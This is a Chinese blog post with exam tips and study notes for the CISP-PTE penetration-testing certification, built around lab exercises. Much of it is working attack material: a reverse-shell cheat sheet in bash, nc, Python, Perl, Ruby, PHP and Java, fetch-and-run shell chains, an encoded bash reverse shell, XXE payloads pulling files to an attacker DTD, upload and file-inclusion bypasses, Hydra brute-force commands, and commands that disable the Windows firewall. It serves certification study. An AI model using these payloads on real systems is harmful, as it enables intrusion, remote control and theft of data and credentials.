关于获取CISP-PTE一些避坑经历

有幸在今年8月份成功通过CISP-PTE认证,以下是我遇到的一些常见问题,以及一些考点内容以及总结

关于获取CISP-PTE一些避坑经历_第1张图片
关于获取CISP-PTE一些避坑经历_第2张图片

考试题型

20道选择题 (20分)
5道基础题 (50分) 一题一个Key
1道综合大题 (30分) 三个key

线下考试

关于获取CISP-PTE一些避坑经历_第3张图片这次考试是在中国上海,现场大概有30人左右,分上午场和下午场

关于获取CISP-PTE一些避坑经历_第4张图片进入考场时候多多少少还是有点紧张的,3个小时过的是非常快的,最后以98分拿下
题目难度是有一点,总的来说的确能学到东西的…

注意:考场内是不允许携带外设键盘的,现场会至少有一个360安全专业人员监考.所有人电脑都会提前装一个奇安信的一个考试exe,刚开始的时候会让你连接一个WIFI,我们将会通过WIFI进行做题,做题期间你的电脑将被全程监控并且一些退出快捷键也是全部锁死(有点像勒索病毒那种界面),想要重启必须直接拔电源。中途可以上厕所,需要监考官陪同

一定要快速上手这个exe,多点点,多翻一下,它整体就类似于一个浏览器里面套了一个虚拟机,就类似于TryHackMe那种浏览器套虚拟机

我踩过的一些坑

1.sql注入,有些sql注入并不是让你上传webshell或者注入账密,而是让你利用sql注入读Key
2.AntSword只能连接REQUEST请求和POST请求的一句话木马,并不能连接GET请求的木马

整理的笔记,这里的环境无法提供,涉及到法律保护

!!!认真审题!! !!多看源码!! !!想想当前环境有什么洞!! !!时时刻刻打开notepad记录!!

靶场环境

上课环境-pte-100.100-administrator-123.com [192.1 68.101.134]
CentOS7-100.150-root [192.1 68.101.150]
XSS靶机 [192.168.101.141]
靶机 [192.168.101.140]
靶机2 [192.168.101.136]‘
WebShell应急响应靶场 [192.168.101.142]
pwnlab靶场[192.168.101.143]

=01=

考试须知 [9:50]

网络攻击技术 [25:48]

七个渗透阶段 [35:59]

1.前期交互
2.情报收集/信息收集
3.威胁建模
4.漏洞分析
5.漏洞利用/漏洞攻击
6.后渗透(深度利用)
7.书面报告

靶场:上课环境-pte-100.100-administrator-123.com 环境安装 [1:01:19]

信息收集 [1:26:26]

Google_Hacking [``1:40:17-1:58:16``] ————练习
whois [``2:10:11``]
子域名的概念 [``2:18:41``]
    收集子域名方法 [``2:26:00``] 
        Google_Hacking [``2:26:43``]  -site 排除xxx域名 
        搜索引擎DuckDUckgo [``2:30:50``]
        子域名爆破:子域名挖掘机 [``2:32:37-2:41:46``] ————练习

练习题 [2:49:20-2:54:14] ————练习

=02=

服务器信息收集 [3:43]

nmap [``5:25-48:40``] ————练习
网站目录结构 [``1:19:40``]
    .SVN泄露 .git泄露  网站备份文件压缩文件-test.rar .DS_store文件 WEB-INF文件 
    配置文件泄露-.config/xx.config.bak/config.php/
    robots.txt

御剑 [1:28:50-1:34:21] ————练习

Burp工具练习 [1:44:49-2:04:13] ————练习

HTTP报文 [2:34:04]

练习题 [3:00:08-3:07:31] ————练习

=03=

url介绍: 统一资源定位符 [3:22]

SQL注入 [11:09-46:11] ————练习

SQ注释符 [59:10-1:09:54] ————练习

1.内联注释:注释中的语句会被执行 /*!xxx*/  
2.# 字符到行尾
3.--空格 到行尾
4./*xxxx*/ 

万能密码 [1:29:04-1:41:32] ————练习

SQL注入五个维度 [1:48:17]

1.基于注入点值的属性[``数字型,字符型``][``1:49:15``]
2.基于注入点的位置[``GET型,POST型,Cookie型,HTTP Head型``] [``1:53:21``]
3.基于注入的程度和顺序[``一阶注入,二阶注入``] [``1:57:49-2:12:09``] ————练习
4.基于从服务器返回的响应[``有回显:[``联合查询注入,报错注入,堆叠注入``],无回显:[``布尔盲注,延时盲注``]``] [``1:49:15``]
5.特殊业务场景[``update注入,insert注入,delete注入,order by 注入,宽字节注入,HTTP分割注入,HTTP参数污染``] [``1:49:15``]

=04=

Union注入练习 [5:44-19:30] ————练习

报错注入 [32:00-56:21] ————练习

布尔盲注 [ 1:11:52-1:35:00] ————练习

时间盲注 [ 1:51:21]

SQL注入练习CISP-PTE [02:05:46-02:31:20] ————练习

SQL注入的读写操作 [02:05:46-02:31:20] ————练习

靶场 CentOS7-100.150-root [2:57:29-3:06:37] ————练习

=05=

CentOS7-100.150-root 1081端口的SQL注入 [2:03-35:39] ————练习

CentOS7-100.150-root 81端口的SQL注入 [52:57-1:08:27] ————练习

SQMAP [52:57-1:41:39] ————练习

练习题 [2:02:28-2:20:24] ————练习

文件上传(DVWA)Level:Low[2:21:29-2:42:52] ————练习 上课环境-pte-100.100-administrator-123.com

文件上传(DVWA)Level:Low assert 动态拼接执行 [2:50:52-2:59:13] ————练习 上课环境-pte-100.100-administrator-123.com

=06=

文件上传(Pikachu)绕过客户端检测 [4:19-26:55] ————练习 上课环境-pte-100.100-administrator-123.com

文件上传(Pikachu)Mime检测 [37:06-49:49] ————练习 上课环境-pte-100.100-administrator-123.com

文件上传(Pikachu)图片马[58:32-1:17:54] ————练习 上课环境-pte-100.100-administrator-123.com

文件上传(82端口)文件内容检测马[1:27:40-1:47:27] ————练习 CentOS7-100.150-root

文件上传() 黑名单检测 [2:06:51-] windows大小写不敏感,如果是Linux进行大小写绕过,则Php文件可能会被直接下载 ————练习 C:\upload-labs-env 上课环境-pte-100.100-administrator-123.com

文件上传(10082端口)特殊可解析后缀名[2:29:27-2:35:33] ————练习 CentOS7-100.150-root

文件上传(Upload-lab 11)%00截断 php<5.3.4 [2:47:59-3:02:01] ————练习 上课环境-pte-100.100-administrator-123.com

=07=

文件包含 [13:50-30:09] 上课环境-pte-100.100-administrator-123.com

文件包含一些利用条件 [30:09-02:29:54]

1.Vlunhub Tomat靶场日志投毒利用文件包含Getshell(/var/log/auth.log) [``47:59-53:48``] 扩展练习可做可不做
2.phpmyadmin利用session文件包含getshell [``56:10-01:00:05``]
	(1).文件包含 pikachu file inclusion - local 上课环境-pte-100.100-administrator-123.com [``练习``]
3.伪协议(重点) [``01:30:21-01:00:05``] ————练习 上课环境-pte-100.100-administrator-123.com
(php伪协议是支持的协议与封装的协议)
	1.file://  [``绝对路径读``] //php代码封装好的函数代码实现 [``01:32:12``]
	2.php://filter/read=convert.base64-encode/resource=xxx.txt [``相对/绝对路径``]  [``01:37:59``]
	3.data://text/plain [``allow_url_fopen=on 并且 allow_url_include = on 可以执行任意代码``] [``执行php代码``][``01:52:06``]
		(1).file=data://text/plain,
		(2).file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
	4.php://input [``allow_url_fopen=on 并且 allow_url_include = on``] [``POST传递代码执行``] [``01:57:25``]

Vlunhub Tomat靶场利用文件包含 [47:59-47:43] 扩展练习可做可不做

	5.zip://压缩文件绝对路径#压缩文件内的子文件名  [``php>=5.3.0``] [``读取压缩包内文件内容``] [``02:11:31``]
	6.phar://[``压缩包绝对/相对路径``]/[``压缩包内的子文件名``] [``读取压缩包内文件内容``] [``php>=5.3.0``] [``02:16:29``]

练习题 [02:29:54-02:44:54]

=08=

data伪协议包含 [02:22] ————练习 CentOS7-100.150-root [1083] [基础题目之文件包含]

有后缀有限制 拼接.html的话
windows 256不处理 ././././././phpinfo.txt
linux 4096 不处理

data伪协议包含 [16:27] ————练习 CentOS7-100.150-root [83] [文件包含,有后缀]

data伪协议包含 [23:15] ————练习 上课环境-pte-100.100-administrator-123.com [http://192.168.101.134/bhmoni/]

中间件安全

==apache== 
1. .htaccess [``41:13-01:00:20``]上课环境-pte-100.100-administrator-123.com   ————练习  [``upload-lab 4``]
	(1).Addtype application/x-httpd-php .jpg
	(2).Sethandler application/x-httpd-php
2.apache日志 linux /var/log [``01:09:51``]
3.向前解析漏洞 123.php.a1.a2.a3  [``upload-lab 4``]
4.日志分析 [``01:16:23``]    ————练习  上课环境-pte-100.100-administrator-123.com [``http://192.168.101.134/PTE/6.rizhi/``]
curl -o 1.txt http://192.168.101.134/PTE/6.rizhi/rizhi.log
正则表达式:"*.*(hack|back|admin|shell).*\.php.*" 200
5.日志分析 [``01:28:16``]	    ————练习  CentOS7-100.150-root [``1085``]
172\.16\.12\.12.*"*.*(hack|back|admin|shell).*\.php.*" 200
== IIS解析漏洞 ==  [``01:56:30``]
	(1).目录解析 网站目录下文件夹名字为xx.asp的文件夹,其目录内任何扩展名的文件都会被IIS当作asp文件来解析并执行
	(1).文件解析 IIS6.0下,分号后面的不被解析,也就是1.asp;1.jpg 会被服务器看成是1.asp
	(3).解析文件类型 .asp .asa .cer .cdx
== Nginx解析漏洞 ==
	(1).上传hack.jpg,访问hack.jpg/.php
	(2).xxx.jpg%00.php(影响版本[0.5-0.7(<=0.7.65),0.8(<0.8.37)])

暴力破解

1.BURP爆破[``02:09:36-02:26:09``]  ————练习  CentOS7-100.150-root [``1085``] http://192.168.101.150:1085/adminlogin.php
2.hydra爆破rdp [``02:37:38-02:44:08``]  ————练习  hydra.exe -L u.txt -P p.txt rdp://192.168.101.134 上课环境-pte-100.100-administrator-123.com

练习题 [02:44:14-03:04:26]

=09=

Tomcat:8080 Authorization爆破Custom iterator模块 [5:01-29:21] [https://www.mozhe.cnSS/bug/detail/46]

XSS [48:51]

(1).XSSdemo [``1:01:41``]  上课环境-pte-100.100-administrator-123.com
(2).Pikachu-反射,存储XSS [``1:11:09-1:48:10``] 上课环境-pte-100.100-administrator-123.com
(3).Pikachu-DomXSS [``1:48:19-2:08:48``] 上课环境-pte-100.100-administrator-123.com
(4).XSS盲打 [``2:17:34-``] 上课环境-pte-100.100-administrator-123.com		
     confirm(123)#弹出带有确认取消的框  prompt(123)#弹出输入框

XSS利用 [2:25:34]

# 
python2 -m SimpleHTTPServer 监听端口
python3 -m http.server 监听端口 -d 目录
(1).Pikachu-存储型xss窃取cookie [``2:25:39``] ————练习 上课环境-pte-100.100-administrator-123.com

=10=

存储型XSS窃取Cookie [0:59-23:47] ————练习 XSS靶机192.168.101.141

xss防御 htmlspecialchars

练习题 [35:20-23:47] js函数不可以进行大小写转换,/可以替换空格和’,"-

CSRF:跨站请求伪造

(1).Get型CSRF[``DVWA|Pikachu``]  [``01:10:10-23:47``] ————练习 上课环境-pte-100.100-administrator-123.com

CSRF防御[01:22:22]

(1).验证Referer字段
(2).添加Token验证
(3).二次验证
(4).用户养成良好习惯

练习题 [01:35:30-01:42:04]

反序列化[02:01:45]

当类中有private参数时序列化字符串格式为 %00类名%00成员名

(1).反序列化 http://49.234.52.232:84/ http://192.168.101.150:84/————练习 [``02:03:05-02:17:32``]

练习题 [02:29:47-01:42:04]

=11=

RCE[01:22:22]

一些命令执行函数 [16:25] 靶机2[192.168.101.136]

	system() 主动返回命令结果
	passthru() 主动返回命令结果
	exec() 主动返回命令结果最后一行数据,如果显示全部数据必须exec($c,$d);var_dump($d);
	shell_exec() 不主动返回命令结果.需要echo出结果
命令带入 [``27:09``]

Windows:

		a&b 前面和后面的命令都要执行,无论前面真假
		a&&b 如果前面为假,后面的命令不执行,如果前面为真则执行两条命令
		a|b  直接执行后面的语句
		a||b  如果前面的命令是错的那么执行后面的命令,否则只执行前面的命令

Linux

		a&b 如果前面的命令错误后面的命令执行,前后都正确命令都执行
		a&&b 前面的命令成功后再执行后面的,前面的命令执行不成功后面的也不执行
		a|b  前面的命令不管正确与否都执行后面的命令
		a||b 表示上一条命令执行失败后,才执行下一条命令,如果上一条命令执行成功后,后面的命令无法执行
		%0a 换行符相当于敲完一条命令后换行
		; 前面和后面没有影响,哪个正确就执行哪个,都错误就都不执行

Linux查看命令绕过 [57:18]

	cat

CTFHUB RCE [1:15:59] ————练习

反弹shell[01:36:56-1:44:45]

监听VPS命令
nc -lvvp 7777
被控
bash -i >& /dev/tcp// 0>&1

限制长度15的命令执行[1:57:35-1:44:45] ————练习

echo \<?php>1
echo Eval\(>>1
echo \$_GET>>1
echo \[``1\``]>>1
echo \)\;>>1
echo \?\>>>1
mv 1 1.php

代码执行 [2:21:41]

eval

assert [php7.0.29前是函数,php7.0.29后是构造器(不支持动态调用)]

preg_replace [/e修正符会将参数当作php代码执行,完成匹配替换后才执行php代码]

create_function [````]

$a = create_function('$a','print $a;'); 

${}

"${phpinfo()}";代码执行phpinfo(); 

http://192.168.101.136/rce/RemoteCodeExecute/example.php 练习 [2:38:50]

http://192.168.101.136/pikachu/vul/rce/rce_eval.php [2:42:21] 练习 反弹shell

攻击者:
echo ‘bash -i >& /dev/tcp/192.168.101.140/10032 0>&1’ > shell.sh
python3 -m http.server 80 -d ./
python2 -m SimpleHTTPServer 80
受害者网址:
system(‘wget -P /tmp http://192.168.101.1/shell.sh’);
system(‘curl -o xxx http://192.168.101.1/shell.sh’);
攻击者:
nc -lvvp 10032
受害者网址:
system(‘bash /tmp/shell.sh’);

=12=

逻辑漏洞

发送短信验证码 [``14:48``]
	phone=xxx,xxx,xxx多发
刷赞
	X-Forwarded-For
	Referer
邮箱轰炸
	修改Cookie值绕过发送次数限制
	大小写绕过邮箱轰炸

用户名枚举 [29:25]

未授权访问 [36:41]

会话重用 [38:06]

会话固定 [38:58] ————练习 http://192.168.101.140/Sessionsecurity/session

空口令 [47:57]

越权漏洞 [49:02]

水平越权 [``52:01``]  ————练习 http://192.168.101.134/4.0.18/
垂直越权 [``54:07``]  ————练习 http://192.168.101.134/fiyo_cms_2.0.6.1/dapur/

验证码问题 [1:13:18]

验证码复用  [``一定要卡住再爆破``]
验证码可回显
验证码变种(URL编码,BASE64(尾部有等号),BASE32(0-9+A-Z大写组成),MD5)
万能验证码 888888 000000 666666
验证码暴力破解 纯数字 4-5位左右可以尝试爆破
验证码空 
登陆验证绕过 返回包中False修改为True
密码白给 F12

交易支付 [1:35:31]

单价反冲/注册邀请码刷钱	练习 http://192.168.101.134/damicmsv552/ http://192.168.101.134/4.0.18/
金额单位 0.019 只需要支付0.01就可以买
修改支付接口
无限使用优惠券 练习 http://192.168.101.140/niushop/
前端限购商品
无限制试用
越权支付
充值中放弃订单未失效

敏感信息泄露

robots.txt
报错信息
	通过对方响应包判断对方中间件类型
备份文件
	www.rar
	phpinfo.php 搜索disable,open_basedir,DOCUMENT_ROOT,upload_tmp_dir,libxml Version(2.9之前默认开启外部实体引用的)
	扫到对方开启了3306的话,手动在url后尝试拼接phpmyadmin
目录列表
	目录穿越 /config../../../../../etc/passwd
调试信息
临时文件
页面源代码 考试时候随时查看页面源代码
账户页面
版本控制系统 

=13=

黑盒测试[2:39-37:16][WebShell应急响应靶场]

netdiscover 扫描内网主机
扫端口!扫目录!一定不能忘!
SUID提权和sudo提权一定要会
.bash_history 历史命令记录
如果页面源代码不是很多的情况下可以尝试View-source: 进行测试,这样即使隐藏在页面的数据也可以看得到,而且速度很快
流程
1.扫端口,扫目录!!数据包修改X-Forwarded-For:127.0.0.1绕过本地验证
2.http://192.168.101.142/?page=register注册任意用户
3.http://192.168.101.142/index.php?page=profile&user_id=381其中id存在水平越权
4.利用水平越权用户账密信息整成字典爆破对方SSH端口
5.hydra -L u.txt -P p.txt ssh://192.168.101.142
6.sudo提权

约束注入 mysql设置有一个sql_mode选项,sql_mode设置为default(默认) Mysql对插入超长的值只会提示warning,而不是error,这样会导致安全问题

show GLOBAL VARIABLES like ‘%secure%’;
结果: 没有安全路径,可以写文件操作
secure_auth OFF
secure_file_priv

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTAuMTA0LzgwMDAgIDA+JjE=}|{base64,-d}|{bash,-i}'

黑盒测试 [1:24:27-1:58:11][Pwnlab靶场]

流程
1.端口扫描!!,目录扫描!!
2.发现config.php数据库文件,php伪协议读取,连接数据库
3.登录页面 http://192.168.101.143/?page=upload
4.读取upload页面源代码,只能上传图片,利用到文件包含,此时读其他文件index页面源码,发现一个cookie包含点lang
5.上传图片木马
6.利用主页cookie中lang包含木马图片执行反弹shell

?1=system(“/bin/bash%20-c%20’bash%20-i%20>%26%20/dev/tcp/192.168.101.128/10032%200>%261’”);

SUID提权

SUID权限文件收集
靶机:

find / -user root -perm -4000 -exec ls -ldb {} \;

假设find命令有SUID.
靶机:

touch 1
find 1 -exec whoami \;

sudo提权

靶机:

vim 1.php

靶机:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.101.128/10032 0>&1'");?>

靶机:

sudo php 1.php

攻击者:

nc -lvvp 10032

=14= 没回 放

=15=

SSRF [2:19]

危害
	内网探测
	窃取本地和内网敏感数据
	攻击服务器本地或内网应用
	跳板攻击
	绕过安全防御

漏洞协议
	http/s
	file协议
	dict协议
	gopher协议

gopher [21:04]

gopher://<host>:<port>/<gopher-pawth>_后接TCP数据流

gopher的默认端口70
发起post请求,回车换行需要使用%0d%0a,如果哦多个参数&也需要URL编码
转换规则:
1.问号(?)需要转码为URL编码%3f
2.回车换行%0d%0a,如果直接用工具转可能只有%0a
3.在HTTP包的最后要加%0d%0a,代表消息结束

get

gopher://192.168.101.140:80/_GET%20/SSRF/get.php%3fname=martin%20HTTP/1.1%0d%0aHost:%20192.168.101.140%0d%0a

post

gopher://192.168.101.1:88/_POST%20/%20HTTP/1.1%0d%0aHost:%20192.168.101.1:88%0d%0aContent-Length:%208%0d%0a%0d%0a1=martin

Redis未授权攻击

DICT协议[45:45]

dict://server:ip/命令:参数
向服务器的端口请求为[命令:参数],并在末尾自动补上\r\n(CRLF),也就是只执行一条命令
通过dict协议需要一条条的执行命令,二gopher协议执行一条命令就行

XML外部实体注入 [1:36:04]

格式良好的XML文档的基本规则

  1. 必须要有声明语句
  2. XML文档必须有且仅有一个根元素
  3. XML文档标签大小写敏感
  4. XML文档属性用双引号
  5. XML文档标签成对出现
  6. XML文档元素正确嵌套
  7. 默认打开方式就是浏览器

DTD [1:40:04]

DTD(document type definition) 文档类型定义
DTD用来约束xml文档格式,通俗就是语法
#PCDATA 里面会被解析
#CDATA 里面不会被解析

一般实体

<!ENTITY 实体名 "实体内容">
应用方式:
&实体名;

参数实体

<!ENTITY %实体名 "实体内容">
应用方式:
%实体名;

内部DTD

<!DOCTYPE 根元素 [元素声明]>

示例

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
	<!ENTITY name "Martin">
]>
<note>
<name>&name;</name>
<age>19</age>
</note>

示例

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
	<!ENTITY name SYSTEM "file:///etc/passwd">
]>
<note>
<name>&name;</name>
</note>

XXE练习 pikachu [1:58:15-1:59:23]

外部DTD

<!DOCTYPE 根元素 SYSTEM "文件名">

示例1

受害者:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE code SYSTEM "http://hacker/hack.dtd">
<code>&file;</code>

攻击者http://hacker/hack.dtd:

<!ENTITY file SYSTEM "file:///etc/passwd">

分割线---------------------------------------------------------------------

示例2

受害者:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE code [
<!ENTITY % file SYSTEM "http://hacker/hack.dtd">
%file;
]>
<code>&f;</code>

攻击者http://hacker/hack.dtd:

<!ENTITY f SYSTEM "file:///etc/passwd">

带回回显参数 [2:02:23]

示例

受害者:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE code [
<!ENTITY % dtd SYSTEM "http://hacker/hack.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/key.php">
%dtd;
%send;
]>

攻击者http://hacker/hack.dtd:

<!ENTITY % all "">
%all;

XML REC [2:07:23]

安装了expect扩展才可以进行RCE

示例

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE code [
<!ENTITY cmd SYSTEM "expect://id">
]>
<code>&cmd;</code>

XML DDOS [2:08:43]

Json XXE [2:09:57]

Content-Type application/json改为application/xml

=16= 没回放

综合题

netsh firewall set opmode mode=disable
netsh advfirewall set allprofiles state off
然后更改administrator用户密码
net user administrator mima

!!!!重点!!!!

在进行反弹webshell时候

一定是用这条

system("/bin/bash+-c+'bash+-i+>%26+/dev/tcp/192.168.101.128/10033+0>%261'");

如果不加/bin/bash -c 就反弹失败

burp爆破提取结果作为字典流程

将数据包发送到测试器模块->选项->Grep_Extract选择提取响应值->开始爆破->保存字段user的内容作为字典->保存->结果表->取消保存标题行->勾选包括列当前的正则表达式user->选择目录保存为user.txt

文件上传技巧

一定要确认题目需不需要图片马,只有解析漏洞才可以利用图片木马
1.首先上传正常图片,获取到图片地址
2.上传一句话木马
文件名:1.php
MIME:image/png
内容添加:GIF89a
3.二次
文件名:1.pHP
MIME:image/png
内容添加:GIF89a
4.三次
文件名:1.php空格
MIME:image/png
内容添加:GIF89a
4-1 特性绕过 1.php.
4-2 特性绕过1.php::$DATA
4-3 双写绕过 利用中间件漏洞,1.php.xxxxxxx.xxxx.xxx.xxx向前解析漏洞
4-4 双写绕过1.pphphp

5.四次
文件名:1.php3 (php4,php5,phtml,phtm)
MIME:image/png
内容添加:GIF89a

6.五次 添加.htaccess

--.htaccess--
第一种:
		AddType application/x-httpd-php .png
		--所以的png解析成php
第二种:
		<FilesMatch "hacker">
		SetHandler application/x-httpd-php
		</FilesMatch>
		--将文件名包含hacker解析成php

7.六次 尝试00截断上传
1.jpg%00.php
或者在路径
/upload/1.php%00
filename=“shell.png”
[在POST请求中需要将%00解码,因为在get请求中会自动帮我们解码]
8.第七次尝试
使用命令将木马拼接到正常图片后

copy normal.png/b + shell.php/a hacker.png

上传图片木马
文件名:1.png
MIME:image/png
内容添加:GIF89a 一句话木马

[打开画图工具可以保存多种格式的图片]

文件上传之.user.ini

auto_prepend_file=1.jpg:在文件前插入
auto_append_file=1.jpg:文件最后插入

我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。

XXE注意点

注意!使用file协议读取文件的时候注意格式,斜杠
file:///c:/key.php

反弹shell几种方法

Bash

bash -i >& /dev/tcp/x.x.x.x/port 0>&1
#bash -i 打开一个交互的bash
#>& 将标准错误输出重定向到标准输出
#/dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口
#0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互
exec 0&0 2>&0
0<&196;exec 196<>/dev/tcp/x.x.x.x/4444; sh <&196 >&196 2>&196
/bin/bash -i > /dev/tcp/x.x.x.x/8080 0<&1 2>&1
exec 5<>/dev/tcp/x.x.x.x/4444;cat <&5 | while read line; do $line 2>&5 >&5; done

telnet

telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555
//x.x.x.x攻击者IP,监听4444端口的终端中执行命令可以在另一个5555终端中看到命令执行结果
rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p

nc

nc -e /bin/bash x.x.x.x port
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc x.x.x.x 9999 >/tmp/f
nc x.x.x.x 4444|/bin/bash|nc x.x.x.x 5555
//x.x.x.x攻击者IP,监听4444端口的终端中执行命令可以在另一个5555终端中看到命令执行结果

python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Perl

perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",5555).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

PHP

php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'

Java

public class Revs {
/**
* @param args
* @throws Exception 
*/
public static void main(String[] args) throws Exception {
    // TODO Auto-generated method stub
    Runtime r = Runtime.getRuntime();
    String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};
    Process p = r.exec(cmd);
    p.waitFor();
}
}

综合题技巧

存在文件包含的题目:1.伪协议读取config.php等页面源码 2.文件上传图片马解析

同时存在 登录,注册 页面的题目登录页面存在万能密码登录的可能性不是很大。如果只有一个登录页面,要么读config.php连数据库,要么就是万能密码进去。

学会看开放端口

如果一台机子nmap扫到22端口80开放
1.极大概率从web服务拿到用户名字典密码字典。进行22端口爆破
2.Hydra 22端口上TOP1000字典爆破

如果一台机子nmap扫到3306端口80开放
1.大概率web服务泄露了config.php,连接数据库,拼接http://127.0.0.1/phpmyadmin
2.Hydra 3306端口上TOP1000字典爆破

Hydra

  1. 21端口爆破命令

21端口主要用于FTP(File Transfer Protocol,文件传输协议)服务,

FTP服务主要是为了在两台计算机之间实现文件的上传与下载,

命令:

hydra -L /root/user.txt -P /root/password.txt ftp://192.168.0.1 -vV

  1. 22端口爆破命令

22端口是Linux操作系统 SSH 远程登录协议,

类似于Windows的 3389,

命令:

hydra ssh://192.168.0.1 -L /root/user.txt -P /root/password.txt --vV

  1. 1433端口爆破命令

1433端口是SQL Server默认的端口,

SQL Server服务使用两个端口:TCP-1433、UDP-1434。

其中1433用于供SQL Server对外提供服务,1434用于向请求者返回SQL Server使用了哪个TCP/IP端口。,

命令:

hydra 192.168.0.1 mssql -L /root/user.txt -P /root/password.txt -vV

  1. 3306端口爆破命令

3306 是MySQL的默认端口,

命令:

hydra 192.168.0.1 mysql -L /root/user.txt -P /root/password.txt -vV

  1. 3389端口爆破命令

3389 是Windows远程桌面的默认端口,

命令:

hydra 192.168.0.1 rdp -L /root/user.txt -P /root/password.txt -vV

  1. smb服务爆破命令

SMB(Server Message Block) 是一种通信协议,

一般使用端口 139,445

命令:

hydra smb://192.168.0.1 -L /root/user.txt -P /root/password.txt -vV

  1. imap服务爆破命令

IMAP(Internet Mail Access Protocol,Internet邮件访问协议) ,

使用的端口是 143

命令:

hydra 10.36.16.18 imap PLAIN -L /root/user.txt -P /root/password.txt

注意

zip协议:zip://[绝对路径]
phar协议:phar://[相对/绝对路径]

SQL注入

关于获取CISP-PTE一些避坑经历_第5张图片
关于获取CISP-PTE一些避坑经历_第6张图片

你可能感兴趣的:(渗透测试实战,安全,web安全)